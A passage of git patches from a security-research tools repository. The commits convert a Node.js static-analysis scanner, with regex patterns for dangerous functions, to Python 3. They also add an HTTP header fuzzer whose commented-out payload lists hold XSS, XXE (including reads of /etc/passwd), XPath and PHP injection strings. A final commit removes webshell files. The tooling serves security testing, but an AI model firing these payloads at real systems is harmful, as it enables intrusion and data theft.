beautyConsole.getColor("green") + _line.rstrip() + + beautyConsole.getSpecialChar("endline")) if next_line: - print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ - beautyConsole.getSpecialChar("endline") + print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + + beautyConsole.getSpecialChar("endline")) if next_next_line: - print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ - beautyConsole.getSpecialChar("endline") - print "\n" + print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + + beautyConsole.getSpecialChar("endline")) + print("\n") return def main(self, src): @@ -180,36 +180,36 @@ def main(self, src): if self.critical: for fn in pefdefs.critical: total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) else: for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) if self.critical == False and not self.pattern: for dp in pefdefs.fileInclude: total = self.analyse_line(l, i, dp, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) for globalvars in pefdefs.globalVars: total = self.analyse_line(l, i, globalvars, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) for refl in pefdefs.reflectedProperties: total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) if sql == True: for refl in pefdefs.otherPatterns: total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) if total < 1: pass else: - print beautyConsole.getColor("red") + \ - "Found %d interesting entries\n" % (total) + \ - beautyConsole.getSpecialChar("endline") + print(beautyConsole.getColor("red") + + "Found %d interesting entries\n" % (total) + + beautyConsole.getSpecialChar("endline")) return total # return how many findings in current file @@ -227,24 +227,24 @@ def run(self): self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) - print beautyConsole.getColor("white") + "-" * 100 + print(beautyConsole.getColor("white") + "-" * 100) - print beautyConsole.getColor("green") - print "\n>>> {} file(s) scanned".format(self.scanned_files) + print(beautyConsole.getColor("green")) + print("\n>>> {} file(s) scanned".format(self.scanned_files)) if self.found_entries > 0: - print "{}>>> {} interesting entries found\n".format( - beautyConsole.getColor("red"), self.found_entries) + print("{}>>> {} interesting entries found\n".format( + beautyConsole.getColor("red"), self.found_entries)) else: - print " No interesting entries found :( \n" + print(" No interesting entries found :( \n") - print "{}==> {}:\t {}".format( - beautyConsole.getColor("red"), "HIGH", self.severity.get("high")) - print "{}==> {}:\t {}".format(beautyConsole.getColor( - "yellow"), "MEDIUM", self.severity.get("medium")) - print "{}==> {}:\t {}".format(beautyConsole.getColor( - "green"), "LOW", self.severity.get("low")) + print("{}==> {}:\t {}".format( + beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) + print("{}==> {}:\t {}".format(beautyConsole.getColor( + "yellow"), "MEDIUM", self.severity.get("medium"))) + print("{}==> {}:\t {}".format(beautyConsole.getColor( + "green"), "LOW", self.severity.get("low"))) - print "\n" + print("\n") # main program @@ -280,16 +280,16 @@ def run(self): try: # main orutine starts here engine = PefEngine(args.recursive, verbose, - critical, sql, filename, pattern) + critical, sql, filename, pattern) engine.run() except Exception as e: - print "Unexpected error:" - print type(e) - print e.args - print e + print("Unexpected error:") + print(type(e)) + print(e.args) + print(e) finally: - ### cleaning up + # cleaning up - ### exiting - print "[+] Done" - exit(0) \ No newline at end of file + # exiting + print("[+] Done") + exit(0) From 117bc7efb38fe26a12269f93e29420b877abfb28 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 5 Aug 2019 00:38:27 -0400 Subject: [PATCH 019/369] added brackets to first print() before moving to Python 3 [nodestructor] --- nodestructor/nodestructor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index bb0968b..6057d3c 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -160,7 +160,7 @@ def show_banner(): """ Prints welcome banner with contact info """ - print beautyConsole.getColor("cyan") + print (beautyConsole.getColor("cyan")) print BANNER print beautyConsole.getColor("white") From 7e08a3a7bf408e3040306e53c6f7b60fcda755a7 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 5 Aug 2019 20:01:35 -0300 Subject: [PATCH 020/369] fix for constructor() pattern [nodestructor] --- nodestructor/nodestructor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 6057d3c..5d211c4 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -60,7 +60,7 @@ # ".*setInterval\(", ".*setImmediate\(", ".*newBuffer\(", - ".*constructor\(" + ".*\.constructor\(" ] NPM_PATTERNS = [ From 13af2e7cdd9ef5f9f880d716a04cc7c5f1312e97 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Aug 2019 16:27:19 +0100 Subject: [PATCH 021/369] refactoring; move from Python2 to Python3 [nodestructor] --- nodestructor/nodestructor.py | 255 ++++++++++++++++++----------------- 1 file changed, 131 insertions(+), 124 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 5d211c4..d21dcb8 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -1,10 +1,11 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # # nodestructor # Node.js application static code analysis tool # # bl4de | bloorq@gmail.com | Twitter: @_bl4de -# +## pylint: disable=W1401 +## pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de @@ -18,7 +19,7 @@ from imports.beautyConsole import beautyConsole -BANNER = """ +banner = r""" ( ) ) )\ ) ( ( /( ( ( ( /( ( @@ -40,7 +41,7 @@ $ ./nodestructor -R ./node_modules --pattern="obj.dangerousFn\(" """ -NODEJS_PATTERNS = [ +nodejs_patterns = [ ".*url.parse\(", ".*[pP]ath.normalize\(", ".*fs.*File.*\(", @@ -63,13 +64,13 @@ ".*\.constructor\(" ] -NPM_PATTERNS = [ +npm_patterns = [ ".*serialize\(", ".*unserialize\(" ] -BROWSER_PATTERNS = [ - ".*URLSearchParams\(", +browser_patterns = [ + ".*urlsearchParams\(", ".*innerHTML", ".*innerText", ".*textContent", @@ -127,104 +128,107 @@ ".*\.SafeString\(" ] -URL_REGEX = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") -URLS = [] +url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") +urls = [] -PATTERNS = NODEJS_PATTERNS + NPM_PATTERNS -TOTAL_FILES = 0 -PATTERNS_IDENTIFIED = 0 -FILES_WITH_IDENTIFIED_PATTERNS = 0 +patterns = nodejs_patterns + npm_patterns +total_files = 0 +patterns_identified = 0 +files_with_identified_patterns = 0 # some files not to loking in: -EXTENSIONS_TO_IGNORE = ['md', 'txt', 'map', 'jpg', 'png'] -MINIFIED_EXT = ['.min.js'] +extensions_to_ignore = ['md', 'txt', 'map', 'jpg', 'png'] +minified_ext = ['.min.js'] SKIP_ALWAYS = ['package.json', 'README.md'] TEST_FILES = ['test.js', 'tests.js'] -SKIP_NODE_MODULES = False -SKIP_TEST_FILES = False -IDENTIFY_URLS = False -EXCLUDE = [] -EXCLUDE_ALWAYS = ['babel', 'lodash', 'ansi', 'array', 'core-util', '.bin', +skip_node_modules = False +skip_test_files = False +identify_urls = False +exclude = [] +exclude_always = ['babel', 'lodash', 'ansi', 'array', 'core-util', '.bin', 'babylon', 'next-tick', 'core-js', 'es5', 'es6', 'convert-source-map', 'source-map-', 'mime', 'to-fast-properties', 'json5', 'async', 'http-proxy', 'mkdirp', 'loose-envify', '.git', '.idea'] -INCLUDE = [] -PATTERN = "" -EXCLUDE_PATTERNS = [] +include = [] +pattern = "" +EXCLUDE_patterns = [] def show_banner(): """ Prints welcome banner with contact info """ - print (beautyConsole.getColor("cyan")) - print BANNER - print beautyConsole.getColor("white") + global banner + print(beautyConsole.getColor("cyan")) + print(banner) + print(beautyConsole.getColor("white")) -def printcodeline(_line, i, _fn, _message, _code=[]): +def printcodeline(_line, i, _fn, _message, _code, verbose): """ Formats and prints line of output """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] - print "\n:: line %d :: \33[33;1m%s\33[0m %s \n" % (i, _fn, _message) - - if i > 3: - print str(i - 3) + ' ' + beautyConsole.getColor("grey") + _code[i-3].rstrip() + \ - beautyConsole.getSpecialChar("endline") - if i > 2: - print str(i - 2) + ' ' + beautyConsole.getColor("grey") + _code[i-2].rstrip() + \ - beautyConsole.getSpecialChar("endline") - - print str(i) + ' ' + beautyConsole.getColor("green") + _line.rstrip() + \ - beautyConsole.getSpecialChar("endline") - - if i < len(_code) - 1: - print str(i + 1) + ' ' + beautyConsole.getColor("grey") + _code[i+1].rstrip() + \ - beautyConsole.getSpecialChar("endline") - if i < len(_code) - 2: - print str(i + 2) + ' ' + beautyConsole.getColor("grey") + _code[i+2].rstrip() + \ - beautyConsole.getSpecialChar("endline") - - -def process_files(subdirectory, sd_files, pattern=""): + print(":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message)) + + if verbose: + if i > 3: + print(str(i - 3) + ' ' + beautyConsole.getColor("grey") + _code[i-3].rstrip() + + beautyConsole.getSpecialChar("endline")) + if i > 2: + print(str(i - 2) + ' ' + beautyConsole.getColor("grey") + _code[i-2].rstrip() + + beautyConsole.getSpecialChar("endline")) + + print(str(i) + ' ' + beautyConsole.getColor("green") + _line.rstrip() + + beautyConsole.getSpecialChar("endline")) + + if i < len(_code) - 1: + print(str(i + 1) + ' ' + beautyConsole.getColor("grey") + _code[i+1].rstrip() + + beautyConsole.getSpecialChar("endline")) + if i < len(_code) - 2: + print(str(i + 2) + ' ' + beautyConsole.getColor("grey") + _code[i+2].rstrip() + + beautyConsole.getSpecialChar("endline")) + + +def process_files(subdirectory, sd_files, pattern="", verbose=False): """ recursively iterates ofer all files and checks those which meet criteria set by options only """ - global TOTAL_FILES + global total_files for __file in sd_files: current_filename = os.path.join(subdirectory, __file) - if (current_filename[-3:] not in EXTENSIONS_TO_IGNORE + if (current_filename[-3:] not in extensions_to_ignore and current_filename not in SKIP_ALWAYS - and current_filename[-2:] not in EXTENSIONS_TO_IGNORE - and current_filename[-7:] not in MINIFIED_EXT): + and current_filename[-2:] not in extensions_to_ignore + and current_filename[-7:] not in minified_ext): - if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and SKIP_NODE_MODULES is False): - if (SKIP_TEST_FILES is False): - perform_code_analysis(current_filename, pattern) - TOTAL_FILES = TOTAL_FILES + 1 + if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): + if (skip_test_files is False): + perform_code_analysis(current_filename, pattern, verbose) + total_files = total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: - perform_code_analysis(current_filename, pattern) - TOTAL_FILES = TOTAL_FILES + 1 + perform_code_analysis( + current_filename, pattern, verbose) + total_files = total_files + 1 -def perform_code_analysis(src, pattern=""): +def perform_code_analysis(src, pattern="", verbose=False): """ performs code analysis, line by line """ - global PATTERNS_IDENTIFIED - global FILES_WITH_IDENTIFIED_PATTERNS - global PATTERNS + global patterns + global patterns_identified + global files_with_identified_patterns - # if -P / --pattern is defined, overwrite PATTERNS with user defined + # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - PATTERNS = [".*" + pattern] + patterns = [".*" + pattern] print_filename = True @@ -236,32 +240,33 @@ def perform_code_analysis(src, pattern=""): for _line in _code: i += 1 __line = _line.strip() - for __pattern in PATTERNS: + for __pattern in patterns: __rex = re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - FILES_WITH_IDENTIFIED_PATTERNS = FILES_WITH_IDENTIFIED_PATTERNS + 1 - print "FILE: \33[33m{}\33[0m\n".format(src) + files_with_identified_patterns = files_with_identified_patterns + 1 + print("FILE: \33[33m{}\33[0m\n".format(src)) print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code) + ' code pattern identified: ', _code, verbose) # URL searching - if IDENTIFY_URLS == True: - if URL_REGEX.search(__line): - __url = URL_REGEX.search(__line).group(0) + if identify_urls == True: + if url_regex.search(__line): + __url = url_regex.search(__line).group(0) # show each unique URL only once - if __url not in URLS: - printcodeline(__url, i, __url, ' URL found: ', _code) - URLS.append(__url) + if __url not in urls: + printcodeline(__url, i, __url, + ' URL found: ', _code, verbose) + urls.append(__url) if patterns_found_in_file > 0: - PATTERNS_IDENTIFIED = PATTERNS_IDENTIFIED + patterns_found_in_file - print beautyConsole.getColor("red") + \ - "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + \ - beautyConsole.getSpecialChar("endline") - print beautyConsole.getColor("white") + "-" * 100 + patterns_identified = patterns_identified + patterns_found_in_file + print(beautyConsole.getColor("red") + + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + + beautyConsole.getSpecialChar("endline")) + print(beautyConsole.getColor("white") + "-" * 100) # main program @@ -271,71 +276,73 @@ def perform_code_analysis(src, pattern=""): parser = argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( - "-R", "--recursive", help="check files recursively", action="store_true") + "-r", "--recursive", help="check files recursively", action="store_true") + parser.add_argument( + "-v", "--verbose", help="verbose output - show code before/after vulnerable line", action="store_true") parser.add_argument( - "-E", "--exclude", help="comma separated list of packages to exclude from scanning (eg. babel excludes ALL packages with babel in name, like babel-register, babel-types etc.") + "-e", "--exclude", help="comma separated list of packages to exclude from scanning (eg. babel excludes ALL packages with babel in name, like babel-register, babel-types etc.") parser.add_argument( - "-I", "--include", help="comma separated list of selected packages for scanning. Might be useful in projects where there are hundreds of dependiences and only some of them needs to be processed") + "-i", "--include", help="comma separated list of selected packages for scanning. Might be useful in projects where there are hundreds of dependiences and only some of them needs to be processed") parser.add_argument( - "-S", "--skip-node-modules", help="when scanning recursively, do not scan ./node_modules folder", action="store_true") + "-s", "--skip-node-modules", help="when scanning recursively, do not scan ./node_modules folder", action="store_true") parser.add_argument( - "-T", "--skip-test-files", help="when scanning recursively, do not check test files (usually test.js)", action="store_true") + "-t", "--skip-test-files", help="when scanning recursively, do not check test files (usually test.js)", action="store_true") parser.add_argument( - "-H", "--include-html-patterns", help="include HTML patterns, like 0: - print beautyConsole.getColor("red") - print "Identified {} code pattern(s) in {} file(s)".format( - PATTERNS_IDENTIFIED, FILES_WITH_IDENTIFIED_PATTERNS) + print(beautyConsole.getColor("cyan")) + print(" {} file(s) scanned in total".format(total_files)) + if patterns_identified > 0: + print(beautyConsole.getColor("red")) + print("Identified {} code pattern(s) in {} file(s)".format( + patterns_identified, files_with_identified_patterns)) else: - print beautyConsole.getColor( - "green"), "No code pattern identified" - print beautyConsole.getColor("white") + print(beautyConsole.getColor("green"), "No code pattern identified") + print(beautyConsole.getColor("white")) From f0c318732db78cc377ee2a0481d64a2cda804164 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 15 Aug 2019 08:37:38 +0100 Subject: [PATCH 022/369] HTTP headers fuzzer (new tool) --- http_headers_fuzzer/http_headers_fuzzer.py | 15 +++++++++++++++ http_headers_fuzzer/requirements.txt | 1 + 2 files changed, 16 insertions(+) create mode 100755 http_headers_fuzzer/http_headers_fuzzer.py create mode 100644 http_headers_fuzzer/requirements.txt diff --git a/http_headers_fuzzer/http_headers_fuzzer.py b/http_headers_fuzzer/http_headers_fuzzer.py new file mode 100755 index 0000000..cdb6610 --- /dev/null +++ b/http_headers_fuzzer/http_headers_fuzzer.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python3 + +### HTTP headers fuzzer +# args: url +import requests +import sys + + +def fuzz(u): + print("[+] Fuzzing {}...".format(u)) + return + +if __name__ == '__main__': + u = sys.argv[1] + fuzz(u) \ No newline at end of file diff --git a/http_headers_fuzzer/requirements.txt b/http_headers_fuzzer/requirements.txt new file mode 100644 index 0000000..566083c --- /dev/null +++ b/http_headers_fuzzer/requirements.txt @@ -0,0 +1 @@ +requests==2.22.0 From b7dea4751d9642ad34dc461a5ad32b74c4147025 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 16 Aug 2019 16:39:27 +0100 Subject: [PATCH 023/369] HTTP fuzzer basic functionality --- http_headers_fuzzer/http_headers_fuzzer.py | 205 ++++++++++++++++++++- 1 file changed, 199 insertions(+), 6 deletions(-) diff --git a/http_headers_fuzzer/http_headers_fuzzer.py b/http_headers_fuzzer/http_headers_fuzzer.py index cdb6610..8c57ac5 100755 --- a/http_headers_fuzzer/http_headers_fuzzer.py +++ b/http_headers_fuzzer/http_headers_fuzzer.py @@ -1,15 +1,208 @@ #!/usr/bin/env python3 -### HTTP headers fuzzer +# HTTP headers fuzzer # args: url import requests import sys +import os +logfile = open('fuzzer.log', 'w') + +payloads = [ + { + "Host": sys.argv[1], + "Content-Type": "text/plain", + "User-Agent": "HTTP Fuzzer", + "Accept": "*.*" + }, + { + "Host": sys.argv[1], + "Content-Type": "application/xml", + "User-Agent": "", + "Accept": "*.*" + }, + { + "Host": sys.argv[1], + "Content-Type": "application/json", + "Accept": "*.*", + "User-Agent": "';", + }, + # { + # "Host": sys.argv[1], + # "Content-Type": "image/jpeg", + # "Accept": "*.*", + # "User-Agent": '";-- - ' + # } +] + +postdata = [ + # text/plain +"some random string", + # application/x-www-form-urlencoded +"foo=bar&debug=true", + # application/xml + r""" + + + +Gambardella, Matthew +XML Developer's Guide +Computer +44.95 +2000-10-01 +An in-depth look at creating applications +with XML. + + + """, + # application/json + r""" +{"id":"10", "username":"admin","token":"somerandomtoken"} + """, + # some SSI + r""" +
+
 
+
+
+ + + + + + + + + + + + + + + + + + """, +# r""" +# var n=0;while(true){n++;}]]> +# SCRIPT]]>alert('gotcha');/SCRIPT]]> +# +# ]>&xee; +# ]>&xee; +# ]>&xee; +# ]>&xee; +# +# ]> +# +# ]> +# "]]>" +# "cript:alert('XSS')"">" +# "" +# "XSS" +# ','')); phpinfo(); exit;/* + +# """, + # XXE +# r""" +# +# +# ]> +# ]>&foo; +# ]> +# ]>&foo; +# +# ]>&xxe; +# ]> +# ]>&xxe; +# ]> +# ]>&xxe; +# ]> +# ]>&xxe; +# ]> +# ]>&xxe; +# ]> +# ]>&xxe; +# +# ]]> +# &foo; +# %foo; +# count(/child::node()) +# x' or name()='username' or 'x'='y +# ','')); phpinfo(); exit;/* +# var n=0;while(true){n++;}]]> +# SCRIPT]]>alert('XSS');/SCRIPT]]> +# SCRIPT]]>alert('XSS');/SCRIPT]]> +# SCRIPT]]>alert('XSS');/SCRIPT]]> +# +# +# ]]> +# <IMG SRC="javascript:alert('XSS')"> +# +# +# +# XSS +# +# +# +# +# ]> +# ]> +# ]> +# ]> +# ]> +# "> %int; +# "> +# %dtd;%trick;]> +# %dtd;%trick;]> +# %dtd;]>]]> +# """ +] + + +def pretty_response_print(method, url, response): + print("{} {}\t\t HTTP {}: size: {}".format( + method, url, response.status_code, response.headers['Content-Length'])) + logfile.write('RESPONSE HEADERS:\n{}\nRESPONSE BODY:\n{}\n{}\n\n'.format( + response.headers.__str__(), response.text, '-' * 120)) + + +def send_request_with_method(method, url, payload): + http_url = "http://{}".format(url) + https_url = "https://{}".format(url) + if method == 'GET': + data = '' + logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, + http_url, payload.__str__(), data.__str__())) + pretty_response_print(method, http_url, requests.get( + http_url, headers=payload, allow_redirects=False)) + + logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, + https_url, payload.__str__(), data.__str__())) + pretty_response_print(method, https_url, requests.get( + https_url, headers=payload, allow_redirects=False)) + + if method == 'POST': + for data in postdata: + logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, + http_url, payload.__str__(), data.__str__())) + pretty_response_print(method, http_url, requests.post( + http_url, headers=payload, data=data, allow_redirects=False)) + + logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, + https_url, payload.__str__(), data.__str__())) + pretty_response_print(method, https_url, requests.post( + http_url, headers=payload, data=data, allow_redirects=False)) + + +def fuzz(url): + print("[+] Fuzzing {}...".format(url)) + + for payload in payloads: + send_request_with_method('GET', url, payload) + send_request_with_method('POST', url, payload) -def fuzz(u): - print("[+] Fuzzing {}...".format(u)) - return if __name__ == '__main__': - u = sys.argv[1] - fuzz(u) \ No newline at end of file + fuzz(sys.argv[1]) + logfile.close() From 536de19f2f676a637ed86e30fb67854aed752d48 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Aug 2019 16:01:31 +0100 Subject: [PATCH 024/369] fix --verbose flag for single file [nodestructor] --- nodestructor/nodestructor.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index d21dcb8..3716e5c 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -306,11 +306,11 @@ def perform_code_analysis(src, pattern="", verbose=False): exclude = [e for e in args.exclude.split( ',')] + exclude_always if args.exclude else exclude_always include = [i for i in args.include.split(',')] if args.include else [] - verbose = args.verbose skip_node_modules = args.skip_node_modules skip_test_files = args.skip_test_files identify_urls = args.include_urls + verbose = args.verbose if args.include_browser_patterns: patterns = patterns + browser_patterns @@ -329,7 +329,7 @@ def perform_code_analysis(src, pattern="", verbose=False): if (s_filename[-3:] not in extensions_to_ignore and s_filename[-2:] not in extensions_to_ignore and s_filename[-7:] not in minified_ext): - perform_code_analysis(s_filename, pattern) + perform_code_analysis(s_filename, pattern, verbose) total_files = total_files + 1 except Exception as ex: From ea6872a06f04881b4a4f6e78365d1fe84610f533 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 28 Aug 2019 17:10:03 +0100 Subject: [PATCH 025/369] remove 'extensions_to_ignore' - by default check only files with .js extension [nodestructor] --- nodestructor/nodestructor.py | 95 ++++++++++++++++-------------------- 1 file changed, 43 insertions(+), 52 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 3716e5c..ecead64 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -4,8 +4,8 @@ # Node.js application static code analysis tool # # bl4de | bloorq@gmail.com | Twitter: @_bl4de -## pylint: disable=W1401 -## pylint: disable=C +# pylint: disable=W1401 +# pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de @@ -20,19 +20,19 @@ banner = r""" - - ( ) ) - )\ ) ( ( /( ( ( ( /( ( - ( ( (()/( ))\ ( )\()))( ))\ ( )\()) ( )( - )\ ) )\ ((_))/((_))\ (_))/(()\ /((_) )\ (_))/ )\ (()\ - _(_/( ((_) _| |(_)) ((_)| |_ ((_)(_))( ((_)| |_ ((_) ((_) - | ' \))/ _ \/ _` |/ -_)(_-<| _|| '_|| || |/ _| | _|/ _ \| '_| - |_||_| \___/\__,_|\___|/__/ \__||_| \_,_|\__| \__|\___/|_| - + + ( ) ) + )\ ) ( ( /( ( ( ( /( ( + ( ( (()/( ))\ ( )\()))( ))\ ( )\()) ( )( + )\ ) )\ ((_))/((_))\ (_))/(()\ /((_) )\ (_))/ )\ (()\ + _(_/( ((_) _| |(_)) ((_)| |_ ((_)(_))( ((_)| |_ ((_) ((_) + | ' \))/ _ \/ _` |/ -_)(_-<| _|| '_|| || |/ _| | _|/ _ \| '_| + |_||_| \___/\__,_|\___|/__/ \__||_| \_,_|\__| \__|\___/|_| + ##### static code analysis for Node.js and other JavaScript apps ##### ##### GitHub.com/bl4de | twitter.com/_bl4de | hackerone.com/bl4de ##### -example usages: +example usages: $ ./nodestructor filename.js $ ./nodestructor -R ./dirname $ ./nodestructor -R ./dirname --skip-node-modules --skip-test-files @@ -46,7 +46,6 @@ ".*[pP]ath.normalize\(", ".*fs.*File.*\(", ".*fs.*Read.*\(", - ".*process.cwd\(", ".*pipe\(res", ".*bodyParser\(", ".*eval\(", @@ -136,8 +135,6 @@ patterns_identified = 0 files_with_identified_patterns = 0 -# some files not to loking in: -extensions_to_ignore = ['md', 'txt', 'map', 'jpg', 'png'] minified_ext = ['.min.js'] SKIP_ALWAYS = ['package.json', 'README.md'] TEST_FILES = ['test.js', 'tests.js'] @@ -195,26 +192,22 @@ def printcodeline(_line, i, _fn, _message, _code, verbose): def process_files(subdirectory, sd_files, pattern="", verbose=False): """ - recursively iterates ofer all files and checks those which meet + recursively iterates ofer all files and checks those which meet criteria set by options only """ global total_files for __file in sd_files: current_filename = os.path.join(subdirectory, __file) - if (current_filename[-3:] not in extensions_to_ignore - and current_filename not in SKIP_ALWAYS - and current_filename[-2:] not in extensions_to_ignore - and current_filename[-7:] not in minified_ext): - + if current_filename[-3:] == '.js': if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): if (skip_test_files is False): perform_code_analysis(current_filename, pattern, verbose) - total_files = total_files + 1 + total_files=total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: perform_code_analysis( current_filename, pattern, verbose) - total_files = total_files + 1 + total_files=total_files + 1 def perform_code_analysis(src, pattern="", verbose=False): @@ -228,25 +221,25 @@ def perform_code_analysis(src, pattern="", verbose=False): # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - patterns = [".*" + pattern] + patterns=[".*" + pattern] - print_filename = True + print_filename=True - _file = open(src, "r") - _code = _file.readlines() - i = 0 - patterns_found_in_file = 0 + _file=open(src, "r") + _code=_file.readlines() + i=0 + patterns_found_in_file=0 for _line in _code: i += 1 - __line = _line.strip() + __line=_line.strip() for __pattern in patterns: - __rex = re.compile(__pattern) + __rex=re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - files_with_identified_patterns = files_with_identified_patterns + 1 + files_with_identified_patterns=files_with_identified_patterns + 1 print("FILE: \33[33m{}\33[0m\n".format(src)) - print_filename = False + print_filename=False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, ' code pattern identified: ', _code, verbose) @@ -254,7 +247,7 @@ def perform_code_analysis(src, pattern="", verbose=False): # URL searching if identify_urls == True: if url_regex.search(__line): - __url = url_regex.search(__line).group(0) + __url=url_regex.search(__line).group(0) # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, @@ -262,7 +255,7 @@ def perform_code_analysis(src, pattern="", verbose=False): urls.append(__url) if patterns_found_in_file > 0: - patterns_identified = patterns_identified + patterns_found_in_file + patterns_identified=patterns_identified + patterns_found_in_file print(beautyConsole.getColor("red") + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + beautyConsole.getSpecialChar("endline")) @@ -273,7 +266,7 @@ def perform_code_analysis(src, pattern="", verbose=False): if __name__ == "__main__": show_banner() - parser = argparse.ArgumentParser() + parser=argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( "-r", "--recursive", help="check files recursively", action="store_true") @@ -294,26 +287,26 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") - args = parser.parse_args() + args=parser.parse_args() try: - base_path = args.filename + base_path=args.filename if args.recursive: - FILE_LIST = os.listdir(args.filename) + FILE_LIST=os.listdir(args.filename) - pattern = args.pattern if args.pattern else "" + pattern=args.pattern if args.pattern else "" - exclude = [e for e in args.exclude.split( + exclude=[e for e in args.exclude.split( ',')] + exclude_always if args.exclude else exclude_always - include = [i for i in args.include.split(',')] if args.include else [] + include=[i for i in args.include.split(',')] if args.include else [] - skip_node_modules = args.skip_node_modules - skip_test_files = args.skip_test_files - identify_urls = args.include_urls - verbose = args.verbose + skip_node_modules=args.skip_node_modules + skip_test_files=args.skip_test_files + identify_urls=args.include_urls + verbose=args.verbose if args.include_browser_patterns: - patterns = patterns + browser_patterns + patterns=patterns + browser_patterns if args.recursive: for subdir, dirs, files in os.walk(base_path): @@ -325,12 +318,10 @@ def perform_code_analysis(src, pattern="", verbose=False): process_files(subdir, files, pattern, verbose) else: # process only single file - s_filename = args.filename - if (s_filename[-3:] not in extensions_to_ignore - and s_filename[-2:] not in extensions_to_ignore - and s_filename[-7:] not in minified_ext): + s_filename=args.filename + if s_filename[-3:] == '.js': perform_code_analysis(s_filename, pattern, verbose) - total_files = total_files + 1 + total_files=total_files + 1 except Exception as ex: print("{}An exception occured: {}\n\n".format( From 2f86dc95e49b0fe4daf4f0c840918b1b515dc626 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 1 Sep 2019 17:00:52 +0100 Subject: [PATCH 026/369] changes --- http_headers_fuzzer/http_headers_fuzzer.py | 166 +++++++++++---------- webshells/webshell.asp | 50 ------- webshells/webshell.php | 1 - 3 files changed, 86 insertions(+), 131 deletions(-) delete mode 100644 webshells/webshell.asp delete mode 100644 webshells/webshell.php diff --git a/http_headers_fuzzer/http_headers_fuzzer.py b/http_headers_fuzzer/http_headers_fuzzer.py index 8c57ac5..8ef3144 100755 --- 